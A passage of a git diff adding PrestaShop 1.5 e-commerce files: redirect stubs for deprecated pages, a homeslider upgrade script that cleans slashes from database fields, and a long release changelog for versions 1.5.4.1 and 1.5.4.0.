+++ b/devspehomeblocks/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/devspehomeblocks/upgrade/install-1.2.1.php b/devspehomeblocks/upgrade/install-1.2.1.php new file mode 100755 index 0000000..a79456d --- /dev/null +++ b/devspehomeblocks/upgrade/install-1.2.1.php @@ -0,0 +1,24 @@ +execute(' + UPDATE '._DB_PREFIX_.'homeslider_slides_lang SET + '.homeslider_stripslashes_field('title').', + '.homeslider_stripslashes_field('description').', + '.homeslider_stripslashes_field('legend').', + '.homeslider_stripslashes_field('url') + ); +} + +function homeslider_stripslashes_field($field) +{ + $quotes = array('\'\\\\\'\'', '\'\\\'\''); + $dquotes = array('\'\\"\'', '\'"\''); + $backslashes = array('\'\\\\\'', '\'\\\''); + + return '`'.bqSQL($field).'` = replace(replace(replace(`'.bqSQL($field).'`, '.$quotes[0].', '.$quotes[1].'), '.$dquotes[0].', '.$dquotes[1].'), '.$backslashes[0].', '.$backslashes[1].')'; +} \ No newline at end of file diff --git a/diagnostic.php b/diagnostic.php new file mode 100755 index 0000000..607c48e --- /dev/null +++ b/diagnostic.php @@ -0,0 +1,31 @@ + +* @copyright 2007-2012 PrestaShop SA +* @version Release: $Revision: 14007 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=diagnostic'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/diagnosticpdf.php b/diagnosticpdf.php new file mode 100755 index 0000000..eab36f8 --- /dev/null +++ b/diagnosticpdf.php @@ -0,0 +1,31 @@ + +* @copyright 2007-2012 PrestaShop SA +* @version Release: $Revision: 14007 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=Diagnosticpdf'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/diagnosticpdfemail.php b/diagnosticpdfemail.php new file mode 100755 index 0000000..ae1674b --- /dev/null +++ b/diagnosticpdfemail.php @@ -0,0 +1,31 @@ + +* @copyright 2007-2012 PrestaShop SA +* @version Release: $Revision: 14007 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=Diagnosticpdfemail'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/discount.php b/discount.php new file mode 100755 index 0000000..b01f1e5 --- /dev/null +++ b/discount.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=discount'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/docs/CHANGELOG.txt b/docs/CHANGELOG.txt new file mode 100755 index 0000000..7244ffb --- /dev/null +++ b/docs/CHANGELOG.txt @@ -0,0 +1,7581 @@ +2007-2012 PrestaShop + +NOTICE OF LICENSE + +This source file is subject to the Open Software License (OSL 3.0) +that is bundled with this package in the file LICENSE.txt. +It is also available through the world-wide-web at this URL: +http://opensource.org/licenses/osl-3.0.php +If you did not receive a copy of the license and are unable to +obtain it through the world-wide-web, please send an email +to license@prestashop.com so we can send you a copy immediately. + +DISCLAIMER + +Do not edit or add to this file if you wish to upgrade PrestaShop to newer +versions in the future. If you wish to customize PrestaShop for your +needs please refer to http://www.prestashop.com for more information. + +@author PrestaShop SA +@copyright 2007-2012 PrestaShop SA +@license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +International Registred Trademark & Property of PrestaShop SA + +Release Notes for PrestaShop 1.5 +-------------------------------- +#################################### +# v1.5.4.1 - (2013-04-25) # +#################################### + + Fixed bugs: + + [-] Installer: installer now work even if no settings.inc.php file is created with an installer session already here + [-] Installer : do not select activity if not defined + [-] INSTALLER : add counter loop in update_order_messages + [-] Installer : Fix bug #PSCFV-8606 bad performance when updating messages + [-] INSTALLER : fix bug #PSCFV-7688 mailalert_customer_oos not existing in database + [-] Installer: fix installer in PT languahe + [-] Installer : Missing directory separator when upgrading images types + [-] Installer: Switch test of session.save_path to optional test + [-] INSTALLER : Fix bug, can not check rights on theme folders + [-] INSTALLER : Fix bug #PSCFV-8167 duplicates product_sqlstock INDEX + + [-] FO : do not use dispatcher routes for static files + [-] FO : invoice: do not display taxes table if there is not tax to display + [-] FO : Fixed product comparator CSS + [-] Fo : Remove additionnal space in phone field value + [-] FO : fix bug #PSCFV-8684, phone not required in guest checkout when not set in BO + [-] FO: send current product to some hook like displayProductTabContent on product page #PSCFV-8825 + [-] FO : Fix bug #PSCFV-8728 context country not updated after changing delivery address in OPC + [-] FO: fixed some css bug for ie7 + [-] FO: Add the protocol content to the cache id of modules #PSCFV-8810 + [-] FO : empty cache getContextualValue_ when updating cart quantity + [-] FO : Disable confirm order when already clicked + [-] FO : address alias lost + [-] FO : Undefined free_shipping in POC when updateQty + [-] Fo : Fix big pic alt with jqzoom + [-] FO : Class free order name for validateOrder + [-] FO : First part of fix #PSCFV-8636, cart rule on specifice carrier / all carriers + [-] FO : Fix bug #PSCFV-8623 : Cart rule without code is applied automatically + [-] FO : add cart rul when cart rul has several groups + [-] FO: Fix bug too much call of updateCartSummary when OPC and cart rule + [-] Fo : Fix undefined var in cart-summary when updating id_address_delivery + [-] FO : Fix login cookie issues + [-] FO: fixed bug #PSCFV-3238 - compareController typo + [-] FO: Fix #PSCFV-8722 displayed specific prices on product page was sometimes wrong + [-] FO : Fix bug #PSCFV-8589 do not loose max level depth when upgrading + [-] FO : standardize behavior of selected country in the list when create a new address + [-] FO: fixed bug DOCTYPE line - #PSCFV-8602 + [-] FO: Fix htaccess generation when disable mod_security is selected #PSCFV-8675 + [-] FO: Don't display vat_number field if not required for the country on address.tpl + [-] FO: Extension test on file attachment for contact form should not be case sensitive #PSCFV-8616 + [-] FO : Do not fade out on bigpic source change + [-] FO : Fix bug #PSCFV-7743 and #PSCFV-8286, bigpic source change + [-] FO: fixed bug Cart Summery Borders - #PSCFV-8421 + [-] FO : Fix bug #PSCFV-8286, displayImage bad selector called + [-] FO: fixed bug Solved a problem with JSON.stringify problem with IE8 - #PSCFV-8340 + [-] FO : Fix bug #PSCFV-7825 removing import of grid_prestashop.css and displaying errors in AdminPerformances + [-] FO: fixed bug missing
in product.tpl - #PSCFV-8164 + [-] FO : Add ccs and js to frontcontroller for old modules + [-] FO: change logo position + [-] FO : Fix bug #PSCFV-8183 lost order message in OPC + + [-] BO: Fix htaccess generation for subfolders installation + [-] BO : Fix bug witth shop address and no state in country + [-] BO : Fix bug for csv export + [-] BO : Can not set PS_ORDER_OUT_OF_STOCK in one shop + [-] BO : Bad gender image when no gender + [-] BO: Fix #PSCFV-8827 fixed price of specific price rules should be a float + [-] BO: Fix admin carts currency prices on view and listing + [-] BO : Remove typo in address formating fields links + [-] BO : Remove undefined name when module can not be installed + [-] BO: Don't delete the directory of modules before upgrade them + [-] BO: fixed bug css - #PSCFV-8737 - AdminScenes.php ~~ remove inline css forcing a border to #large_scene_image + [-] BO: Fix #PSCFV-8730 display of selected dates on the backoffice listings header - thank to pitt phunsanit for the patch + [-] BO : Deactivate backwardcompatibility module + [-] BO: PSCFV-7685 parent category for root categories after upgrade + [-] BO : Fix bug #PSCFV-8626 rename actual admin folder + [-] BO: fixed bug Cart rules - Javascript error - #PSCFV-5045 + [-] BO : Fix bug #PSCFV-8620 returns with customized product + [-] BO: Fix #PSCFV-8683 order_way collusion on listing between 2 tabs + [-] BO : Fix bug : #PSCFV-8631 no download-product.tpl in languages packs + [-] BO : Fix bug #PSCFV-8540 setting cookie key in cache key + [-] BO: fixed bug In back office, in product modification page, image pane, the image list appears broken in IE8 - #PSCFV-8024 + [-] BO: Fix the Htaccess rewriting generation when one shop has the rewriting enabled and the last one on the same domain not + [-] BO: fixed bug #PSCFV-8258 + [-] BO: Clear cart when customer is changed in back office orders #PSCFV-8520 + [-] BO : Remove warning on ProductDownload + [-] BO : fixed field value saving when value is equal to 0 #PSCFV-8530 + [-] BO : Fix bug #PSCFV-8481 no live edit on index when one language is active only + [-] BO : fixed bug #PSCFV-8095 now maximum weigh for carrier is float + + [-] Classes : Bug fix : OrderOpcController, check instance of blocknewsletter module + [-] Classes : Bug fix : Mobile hooks, check PayPal for payments only + + [-] Core: fix redirection loop for bugged versions of mysql using column name aliases on order by + [-] CORE : Fix bug #PSCFV-8636 again, cart rule with a reduction and free shipping + [-] CORE : Fix bug last part #PSCFV-8636, cart rule with a reduction and free shipping + [-] CORE : Fix bug #PSCFV-5624 set order reference to CHAR(10) + [-] CORE : fixed bug #PSCFV-8475 - Email templates with {shop_url} append url with index.php + [-] Core: Cache of Cart::getPackageList is now per cart + [-] Core: Local cache could never be totally cleaned + + [-] MO: homefeatured - numbers are now the same + [-] MO: Fix product cover image on blockviewed with multishop + [-] MO : Fix rand parameter in favorite module js + [-] MO : Fix bug #PSCFV-8430 bad post type ajax request, thanks to maofree + [-] MO : Fix bug #PSCFV-8399 dictinct categegories in module blockcategories + + Improved/changed features: + + [*] Installer : Set context in upgrader + [*] Installer: Add PHP CLI installer + + [*] FO : one_phone_at_least should be set + [*] FO : add steps to authentication pull request 002f468958 thanks to radovanx + [*] FO: use subdirectory per template for smarty cache + [*] FO : Check if grid_prestashop.css is available in theme before including + [*] FO : Retrocompat for default theme 1.4.10 + + [*] BO : Add block "close_td" in list_content.tpl [*] BO : Add block "close_td" in list_content.tpl {block name="td_content"} ..... {/block} {block name="close_td"} {/block} So now we can override "td" and "/td" tags. So we can create "td" "a" ... content.... "/a" "/td" when overriding the block open-td and close-td and we can use "a" tag with "href" rather than "onclick" to create view links in the list. And the user can choose to open the link in another tab or window. + [*] BO: The translation of modules are now made in the theme if modules are overrided or directly in the module folder + [*] BO: List all modules with an upgrade available on AdminModules header + + [*] TR : Removed hard-coded dot in history.tpl + [*] TR : Improved English text of installer + [*] TR : added russian installer tabs + [*] TR : Fixed wrong use of translation functions in AdminTranslationsController + [*] TR : Added tab translations for installer languages + + Added Features: + + [+] BO: show all languages in setting of employee + + +#################################### +# v1.5.4.0 - (2013-03-26) # +#################################### + + Fixed bugs: + + [-] INSTALLER : Last fix of bug #PSCFV-8168 loyalty ADD id_shop to layered_product_attribute + [-] INSTALLER : Second fix of bug #PSCFV-8168 loyalty CHANGE id_discount to id_cart_rule + [-] Installer : do not fail on warning when addons modules list empty + [-] INSTALLER : First fix of bug #PSCFV-8168 reinsurance` CHANGE `filename` to `file_name` + [-] INSTALLER : Fix bug #PSCFV-8167 bad drop of non-existent index and correct genders image copy + [-] Installer: Install only the language choosen in the installer + [-] INSTALLER : Update gender for default customer + [-] Installer: download the language pack even if this is a native language on installation + [-] INSTALLER : Fix crash from genders jpg copy + [-] INSTALLER : Using $this when not in object context + [-] INSTALLER: Fix syntax error, unexpected 'public' (T_PUBLIC) + [-] INSTALLER : TEXT field can sometimes not have a default empty value + [-] Installer : Fixed languages parsing + [-] INSTALLER : Fix bug #PSCFV-6128 do not loose custos on orders from 1.4.X + [-] Installer: Fix the installation when safe_mode is enabled + [-] Installer: Fix 2 path for the upgrader + [-] Installer: fix UNIQUE key on stock_available table #PSCFV-7886 + [-] Installer: fix upgrade __PS_BASE_URI__ + [-] Installer : Fix warning during upgrade when issues with shops tables + [-] Installer: check create table privileges + [-] Installer: force magic_quote_runtime to 0 + [-] INSTALLER : fixed bug #PSCFV-5702 - error javascript when password have a simple quote + [-] Installer: clear the database when an error occured during the install + + [-] FO : Fix bug #PSCFV-8415 zipcode is required without zip code format too + [-] FO : Customization delete when quantity custo is one, sorry about this bad commit last time + [-] FO : Fix bug #PSCFV-8364 block cart hidden or products are doubled + [-] FO : Fix bug #PSCFV-8098 inversion in customer and address name + [-] FO : GuestAccount required phone + [-] FO : update total_product_price_X when customized product after login + [-] FO : Fix bug #PSCFV-8202 special chars for checkCustomizations js function + [-] FO : Fix bug #PSCFV-8028 refactoring customization + [-] FO : Fix bug #PSCFV-8031 and maybe others, do not loop when calling displayNewProducts in blockcart + [-] FO: Fix #PSCFV-7600 display accessory in the product page even if there are no stock for the default combination (on the default theme) + [-] FO : fixed attributes order #PSCFV-8032 + [-] FO : remove 404 images in Live Edit + [-] FO : Fix bug #PSCFV-6595, fancybox images for IE and AlphaImageLoader + [-] FO : Bug fix : JS Minifier replaced with Google Closure Compiler + [-] FO : Do no try to add empty css or js file name + [-] FO : Check for cart rules before diplaying shopping cart in OPC + [-] FO: Fix separated packages + [-] FO : Mobile theme updated, templates added/improved + [-] FO : Avoid flashing of availability_statut + [-] FO : Bug fix #PSCFV-7915 : Mobile theme issue, default attribute + [-] FO : Fixed mobile theme authentication CSS + [-] FO : Fix bug #PSCFV-5168, required phone in all templates + [-] FO : fixed bug #PSCFV-5744 - Using attribute values with decimal points numbers and its ten multiple, have the same url + [-] FO : minimum purchase total with wurrency + [-] FO : remove "Invalid address warning" when not "same" an no invoice address + [-] FO : Fix bug #PSCFV-7946 delete customized product with several custos + [-] Fo : Fix bug #PSCFV-7956 select invoice address when adding a first new address + [-] FO : Fix case for some excluded searched chars + [-] FO : Fix bug #PSCFV-8149 Notices on undefined properties + [-] FO: Fix ecotax displayed on the quantity discounts tab with a change of base_price on the product page + [-] FO : Fix exception when PS_CART_FOLLOWING + [-] FO : Fix bug #PSCFV-8132 authRedirection not implemented and wrong back redirection + [-] FO: fixed bug Module crosselling not working properly (Scroll / JS) - #PSCFV-8080 + [-] FO : the option that disable the tax display in the cart wasn't used anymore, I used it again #PSCFV-8033 + [-] FO : Fix bug #PSCFV-7880 display wrapping row in cart + [-] FO: Fix links to products_attribute when custom url is defined with the blocklayered + [-] FO : Fix bug #PSCFV-7920 wrong redirection after account creation + [-] FO: Fix #PSCFV-8083 display of initial price with quantity discount and cart refreshment + [-] FO: fixed bug two little coding error - #PSCFV-7982 + [-] FO: fixed bug Backoffice and ipad - #PSCFV-7696 + [-] FO : Home w3c validation removed "legend" attribute and target="_blank" + [-] FO: Fix #PSCFV-7850 sometimes minify_html lib was returned nothing... + [-] FO : Back slashes for inputs that need it in authentication.tpl + [-] FO : Fix bug isGuest not defined, set id_carrier in base at login + [-] FO : cut long referrers in order to avoid a crash #PSCFV-7775 + [-] FO : display total voucher without taxes when the customer group does not display taxes #PSCFV-7746 + [-] FO : fixed guest saving #PSCFV-6150 + [-] FO: Fix display specific prices for combinations in product page #PSCFV-7807 + [-] FO : Fixed regexp for images embbed in description + [-] FO : Fix warning #PSCFV-7805 + [-] FO: Fix categories and products restriction for unidentified customers after upgrade + [-] FO : deprecated free_shipping var set to "false" + [-] FO : Fix bug #PSCFV-7467 no email in post data + [-] FO : Fix Bug #PSCFV-7439 radio input css + [-] FO : Fix Bug #PSCFV-7339 available date on product page + [-] FO : Fix Bug PSCFI-7016 available date on product page + [-] FO: Fix PHP warning on update quantity in cart with customizables products + [-] FO: don't load medias if error on product page to avoid JS bugs + [-] FO: Fix Cart::getDeliveryOption() cache + [-] FO : Fix bug #PSCFI-6686 when url param has no value set 1 to valuePSCFI-6686 + [-] FO: Fix product restriction by shop + [-] FO : Fix bug #PSCFV-7491 special characters in direct search + [-] FO : Fix bug #PSCFV-7562 no availability date in tempalte + [-] FO: Fix infinite loop on overriding Module::getPaymentModules and executing hook on it #PSCFV-7760 + [-] FO: Fix #PSCFV-7714 quantity discounts displaying in product page for specific customer + [-] FO: Fix #PSCFV-7627 customer group reduction was applied on combinations for unidentified users on the product page + [-] FO: Fix fatal error when a customer is deleted and still logged + [-] FO : you need to execute CartRule::autoAddToCart() after CartRule::autoRemoveFromCart(), everytime #PSCFV-7674 + [-] FO: fixed bug rendering Problems in IE6 with default theme - #PSCFV-7628 + [-] FO : fixed voucher display in the customer view #PSCFV-7332 + [-] FO : Fixed voucher value when it exceeds the product total #PSCFV-7421 + [-] FO : fixed customer discounts #PSCFV-7479 + [-] FO : fixed retro compatibility issue with discounts #PSCFV-7553 + [-] FO : Fix bug #PSCFI-6864 #PSCFV-6516 Issue with deleted address blocking order process + [-] FO: Fix #PSCFV-7474 display taxes on order payment when the price without taxes is displayed + [-] FO: Fix #PSCFV-7530 bad quantity returned displayed on order detail for multiple return + [-] FO : Fix bug #PSCFV-7504 last category for parent and not always default one + [-] FO : Fix fatal error when memcache is not installed and using Memcached + [-] FO: Fix #PSCFV-6375 always display the vat_number field for registration even if the european vat number module is disabled + [-] FO: Fix Product::getProductName for multilang and multishop + [-] FO : 'undefined' is undefined =) + [-] FO: fixed bug Change a little css code of global.css to solve a little issue on authentication page - #PSCFV-7527 + [-] FO : Fix #PSCFV-6356 recall adresses in cart after login + [-] FO : fixed bug #PSCFV-7508 - broken links to images in jquery.fancybox.css + [-] FO : Fix bug #PSCFV-6516 when not same address to process + [-] FO: fixed bug Block Cart in columns disappear if product is removed - #PSCFV-7495 + [-] FO: fixed bug Blocknewsletter.css has an extra bracket on the last line and when corrected override still won't work - #PSCFV-7436 + [-] FO: fixed bug PSCFV-6644 + [-] FO : Fix bug #PSCFV-6655 + [-] FO : fixed bug #PSCFV-7381 - free shipping when no carrier available + [-] FO: Fix #PSCFV-7322 Product::getProductProperties quantity cache + [-] FO: updated css product_list + [-] FO : No error on first consultation of shopping cart with minimum purchase + [-] FO: added a new line for better display on IE9 for the "new" on homefeatured and product list + [-] FO : Fix bug #PSCFV-7388 Guest checkout & state validation thankx to Sergio + [-] FO : adding values to empty parameters in ajax of cart-summary.js + [-] FO : Apply changes from commit 1.4.X 1d0d59845b5f9cb9333a89e60523ab41df076d89 no cache for POST queries + [-] FO: fixed bug css in IE + [-] FO: fixed Solutions for authentication.tpl and address.tpl about dni field - #PSCFV-6619 + [-] FO : Try to fix "phone required" bug once again when only signing in + [-] FO : Fix bug #PSCFI-6751 for 1.5.X carriers and payments update in OPC + [-] FO : fixed smarty curly bracket Signed-off-by: Marco Cervellin + [-] FO : small fix on shopping cart adresses + [-] FO: fixed Installer - Message d'erreur mal affiché - #PSCFV-6585 + [-] FO: fixed IE8 Adding Address Problem + improve line-height input on IE - #PSCFV-6401 + [-] FO: improve display voucher code + [-] FO : fixed bug #PSCFV-5635 - Mobile Theme tax displayed + [-] FO : fixed reduction display on product page #PSCFV-6308 + [-] FO : fixed bug #PSCFV-6533 - CMS categories: This page does not exist. + [-] FO : fixed voucher highlighting in the cart #PSCFV-6422 + [-] FO : fixed +/- Tx on the customer voucher page #PSCFV-6642 + [-] FO: Fix Pack::getItemTable with some PHP versions + [-] FO : recycled package should be disabled by default (because the option can be deactivated) #PSCFV-6639 + [-] FO : fixed shipping number in e-mail #PSCFV-6584 + [-] FO: Fix #PSCFV-6456 price of default attribute with specific price on product comparison + [-] FO: improvement shopping cart voucher + [-] FO: fixed bug CSS + [-] FO: fixed Css issue in BO - #PSCFV-6408 + [-] FO: Fix add to cart for product packs with no quantity and out of stock allowed #PSCFV-4788 + [-] FO : fixed bug #PSCFV-5569 - Trying to get property of non-object in SitemapController + [-] FO : fixed bug #PSCFV-6529 + [-] FO : fix #PSCFV-6165 cart update when inactive country in old address + [-] FO : Fix backslashes for smartyTranslate and js=1 + [-] FO : Bad html entities for alert of order-address.js + [-] FO : Do not suggest states that are not active + [-] FO : Fix #PSCFV-5905 Fatal error: "no default carrier" + [-] FO : fixed bug #PSCFV-5312 - Error Uncaught TypeError: Cannot read property top of null in ajax-cart.js when Cart Block is not on product page + [-] FO : fix PSCFV-5934 bad redirection from https to http for CMS + [-] FO : Bad checkbox behavior in FF in OPC + [-] FO : Countries in invoice address in OPC + [-] FO: rtl.css was missing on default theme + [-] FO : Fix Exception when invoice address is empty in OPC + [-] FO : Fix #PSCFV-5544 same alias is no more rejected in OPC + [-] FO: Fix cookie domain detection for com.co tld #PSCFV-5256 + [-] FO : small fix in front office pagination thanks to @phproberto + [-] FO : Fix #PSCFV-4885 for DNI field, states and postcode display + [-] FO: Fix #PSCFV-6493 root and home category id should be different of 1 and 2 + [-] FO : Fix #PSCFV-6307 correct invoice address in OPC + [-] FO : Fix again #PSCFV-6209 #PSCFV-5686 no required phone + [-] FO: Fix #PSCFV-6159 order way of best sales + [-] FO: name of the supplier page fixed #PSCFV-5571 You do it right in 5219457 , but if you already have a old version, it's no change... + [-] FO: remove WAHOU + [-] FO : fixed bug #PSCFV-6411 Friendly URL on prices-drop for page 2 doesn't work + + [-] BO : Remove warning at login template + [-] BO: it is now possible to change the default customer/guest/visitor group per shop + [-] BO : fixed Alphabetical sorting of categories + [-] BO: Fix #PSCFV-8422 it is now possible to manage minimal quantity even if stock management is disabled + [-] BO : set order payments reference to 9 chars after upgrade from 1.4.X + [-] BO: AdminProductControllers::bulkDelete should return error message if stock left with adv stock management like standard delete #PSCFV-8250 + [-] BO : fixed product indexation markup in import #PSCFV-7695 + [-] BO : Fix bug #PSCFV-8027 bad sql query on messages when private bool = true + [-] BO : added important check of the default language for ObjectModel multilang properties + [-] BO : fixed bug #PSCFV-8285 - module tab listing permission + [-] BO : Fix live edit link + [-] BO: Fix update of delivery address on backoffice orders + [-] BO: Fix auto-selection of default category when you have choosen one on the listing + [-] BO : Avoid warning if img src not defined in controller + [-] BO : Fix bug #PSCFV-7468 required phone in address creation + [-] BO : get default language when context language is empty for translation + [-] BO : admin language is now based directly on the employee language instead of the cookie + [-] BO : Rename genders images when upgrading from 1.5.0.1 to 1.5.3.1 + [-] BO : Bug with genders icons + [-] BO : Bug with duplicate carts in back office due to id_guest + [-] BO: Auto-select the tax rules group most used on product creation + [-] BO: Fix SQL error on click on notification if no new notifications + [-] BO : Fix warning on $db_tab_module_list + [-] BO: Fix Currencies bulk statuses and deletion + [-] BO : Premium activation block & logos + [-] BO: Fix selected shop displayed on the shop listing after F5 + [-] BO: fixed bad set of display status set in AdminCMS + [-] BO : fixed bug when save image shop association + [-] BO : Fix bug #PSCFV-7657 all groups checked when creating customers + [-] BO: Second part of #PSCFV-8067 for orderslips + [-] BO: Fix #PSCFV-8067 the europeean vat exempt label was not using the tax address type + [-] BO: fixed bug block shipping display in orders + [-] BO: Fix #PSCFV-8068 stock available total cache after deleting a combination + [-] BO: fixed bug cart rules display + [-] BO: fixed header display on tablet- #PSCFV-6166 + [-] BO: Use default language for copying emails if english is deleted + [-] BO : fixed bug #PSCFV-7871 - bad breadcrumb when create a new CMS + [-] BO: don't allow bulkdelete of default language + [-] BO: Fix case sensitive issue on search blacklist + [-] BO: Fix module listing with addons module with default currency not on the xml #PSCFV-8005 + [-] BO: Filter customers listing by shop context on AdminGroups + [-] BO: Fix #PSCFV-7995 countries/groups/currencies refreshment when selecting a shop in specific price form + [-] BO: Fix form displayed for features add after error + [-] BO: pagination was missing on tax rules listing + [-] BO: fixed lots of UI bugs in CMS: - no more id_category (doesn't exists, it's id_cms_category) - change category position now redirects in parent category (not at root category) - change category status now redirects in parent category (not at root category) - delete multiples category now redirects in parent category (not at root category) - add form new category now auto select parent category (not root category) - add a new category now redirects in parent category (not at root category) - delete multiple categories now redirects in parent category (not at root category) - now execute parent::postProcess() only if none action found (duplicate postProcess was done) - now redirects to CMS form if found errors (not at root category) - fixed unexists $object variable (was $cms) for saveAndStay - delete multiple cms content now redirects in parent category (not at root category) - change cms content position now redirects in parent category (not at root category) - change cms content status now redirects in parent category (not at root category) + [-] BO: Fix PHP notice on ob_clean if no buffer to delete + [-] BO : automatic conversion of , into . in cart rules #PSCFV-7430 + [-] BO : fixed payment distribution #PSCFV-7398 + [-] BO: Fix #PSCFV-7838 deleted taxes should not appears on the listing + [-] BO: improve payment module page on IE + [-] BO: improve module payment page + [-] BO: improve payment module page + header + [-] BO: Fix #PSCFV-7851 - shop logo and name should depend of the order shop and from the context + [-] BO: Fix #PSCFV-7646 JS error when adding a product existing in an other shop + [-] BO: Fix #PSCFV-7730 update the multishop fields in adminproducts on default shop if context is all and if product is not associated to all shops + [-] BO: Fix #PSCFV-7734 multiple order delivery number for the same order + [-] BO : fixed bug #PSCFV-7551 - wrong breadcrumb when create root category + [-] BO: Fix #PSCFV-7462 bad sql request for ordering by price in adminproducts + [-] BO : fixed bug #PSCFV-7575 - BO shipping price by zones ang weigth error js + [-] BO: Fix #PSCFV-7427 group id used for price computation on order edition + [-] BO: Fix connection with Addons on AdminModules + [-] BO: Forbid to add a pack into a pack + [-] BO: Forbid to delete the defaults return statuses + [-] BO: Fix error message for new language creation and iso code not exists + [-] BO: Don't display delete icon for order carts + [-] BO: Not allow to give an existing email when editing an employee + [-] BO: Fix #PSCFV-6497 display of list when deleting customers + [-] BO: Fix id_shop for configuration variables in global context for orders + [-] BO: get the invoice prefix from the right shop + [-] BO: Fix live edit links on homepage + [-] BO: Fix #PSCFV-7576 + [-] BO : Adresses not deduplicate in orders page + [-] BO : 'MCached' is 'CacheMemcache' for PS_CACHING_SYSTEM_ + [-] BO : Fix bug #PSCFI-6902 fatal error when memcache not installed and Memcached previously activated + [-] BO: Fix #PSCFV-7522 update cover image after deleting it + [-] BO: Fix #PSCFV-7523 htaccess generation for SSL domain + [-] BO : Fix warnings when importing #PSCFV-6648 again + [-] BO : Fiw warning on $current_order_state + [-] Bo : Fix warnings #PSCFV-6648 + [-] BO: Fix warning when image is uploaded with PHP < 5.3 #PSCFV-7425 + [-] BO : reduced error catching severity in the module tab + [-] BO: the attached file of downloadable products duplicated should not be the same than the original #PSCFV-7460 + [-] BO: Fix SQL request on downloadable product duplication + [-] BO: Fix possible PHP notice on AdminGroups #PSCFV-7412 + [-] BO : Do not display country formatting twice, neither in FO + [-] BO: Fix #PSCFV-7377 second part + [-] BO : fix css for iframe of custom products when creating order in BO + [-] BO: Fix #PSCFV-7377 customizable fields on product duplication + [-] BO: Fix translations for overridden templates #PSCFV-7391 + [-] BO: Allow override for emails translations on the default theme without MODE_DEV + [-] BO: Fix #PSCFV-6383 allow numerics chars on SQL Manager + [-] BO: description_short product field validation when the limit is changed #PSCFV-7383 + [-] BO: Fix #PSCFV-6367 don't display the payment modules on BackOffice orders if they are disabled + [-] BO: Standard Norm + [-] BO : fixed bug #PSCFV-5601 - AddressFormat wrongly forbid the 'other' field from the Address to be part of the address format + [-] BO : fixed quick access for upgrade from 1.4 #PSCFV-6370 + [-] BO : fixed bug #PSCFV-6381 - Customer Service mixing groups of shops (Multistore) + [-] BO : fixed bug #PSCFV-6623 - fixed Parse error + [-] BO: Fix #PSCFV-6616 id_shop should be loaded from cart when no order is created on Admin Carts + [-] BO : fixed bug #PSCFV-6623 - multistore edit greek encoding + [-] BO: Fix #PSCFV-5930 #PSCFV-5939 the filters are handled as the same between tabs which can cause sql errors + [-] BO : fixed bug #PSCFV-6536 indefined index in toolbar.tpl + [-] BO: Disallow advanced stock management if the product become a pa + [-] BO : fixed bug #PSCFV-4961 - Strange behavior when reordering categories + [-] BO : fixed bug #PSCFV-4668 - added check if module folder is writable before upgrade it + [-] BO : bad initialization of context due to miss define of _PS_ADMIN_DIR_ in displayImage.php + [-] BO : fixed bug #PSCFV-4925 - duplicate subject in SAV + [-] BO: Fix #PSCFV-6386 recyclable should be init to 0 on BO orders + [-] BO: Fix #PSCFV-6120 display of shipping price on BO order summary detail with freeshipping + [-] BO: override the compile check to true for smarty in the BackOffice + [-] BO : fixed import images + [-] BO: Fix #PSCFV-6118 display of product image for git on BackOffice orders + [-] BO : fixed bug #PSCFV-6130 - Wrong currency in product specific prices administration + [-] BO: Fix #PSCFV-6394 price/weight/unit_price reduction impact on combinations form + [-] BO: Fix #PSCFV-6415 php notice + + [-] Core: clean Language:: after adding a new lang + [-] CORE : fixed bug #PSCFV-8035 - 'auth' hook exception is not working + [-] Core: delete lang files + [-] Core: Fix the listings in multishop context when you have at least a combination on one shop and not on the others and the same for the images + [-] Core: don't compute again price_wt in Product::addCustomizationPrice if already computed + [-] Core: Fix #PSCFV-8293 bad sql vars name on Order::getShipping() #PSCFV-8293 + [-] Core: Fix search indexation when nb languages * nb shops > 50 + [-] CORE : Preserve carrier reference integrity in cart rules when updating a carrier + [-] Core: Fix #PSCFV-8130 getTaxesAverageUsed() for delivery address used + [-] Core: Fix #PSCFV-8119 logos/shop_name for orders emails was not depend of the shop + [-] Core: Fix #PSCFV-7813 override of modules email templates not working because of directory separator + [-] Core: Fix TCPDF encoding for some languages like japan #PSCFV-8096 + [-] Core: Fix 